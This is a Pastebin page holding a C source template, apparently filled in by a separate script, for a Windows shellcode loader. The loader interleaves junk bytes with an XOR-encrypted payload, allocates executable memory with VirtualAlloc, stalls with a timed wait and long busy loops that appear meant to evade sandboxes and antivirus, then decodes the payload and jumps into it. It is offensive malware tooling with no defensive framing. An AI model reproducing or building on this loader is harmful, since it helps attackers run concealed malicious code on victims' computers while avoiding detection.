Advertisement
Sh3lLDu5T

structure

Mar 4th, 2015
269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.92 KB | None | 0 0
  1. //  This program is used by:
  2. //  This sript: http://pastebin.com/QTjNubGw
  3.  
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6. #include <windows.h>
  7. #include <time.h>
  8.  
  9. int main(){
  10. char junkA []= %s;
  11. unsigned char payload[] = %s;
  12. char junkB []= %s;
  13. unsigned char key = %s;
  14. unsigned int PAYLOAD_LENGTH = %s;
  15. int i;
  16. unsigned char* exec = (unsigned char*)VirtualAlloc(NULL, PAYLOAD_LENGTH/2 ,0x1000,0x40);
  17. unsigned char* unpack = (unsigned char*)VirtualAlloc(NULL, PAYLOAD_LENGTH/2, 0x1000,0x40);
  18. int z, y;
  19. int devide;
  20. int x = 0;
  21. time_t start_time, cur_time;
  22.  
  23. time(&start_time);
  24. do
  25. {
  26. time(&cur_time);
  27. }
  28. while((cur_time - start_time) < 2);
  29.  
  30. for(i=0; i<PAYLOAD_LENGTH; i++)
  31. {
  32. devide = %s
  33. if(devide == 0)
  34. {
  35. unpack[x]=payload[i];
  36. x++;
  37. }
  38. }
  39.  
  40. for(i=0; i<PAYLOAD_LENGTH/2; i++)
  41. {
  42.     for(z=0;z<5000;z++)
  43.     {
  44.     for(y=0;y<500;y++)
  45.     {
  46.             exec[i]=unpack[i]^key;
  47.         }
  48.     }
  49. }
  50.  
  51. ((void (*)())exec)();
  52.  
  53. return 0;
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement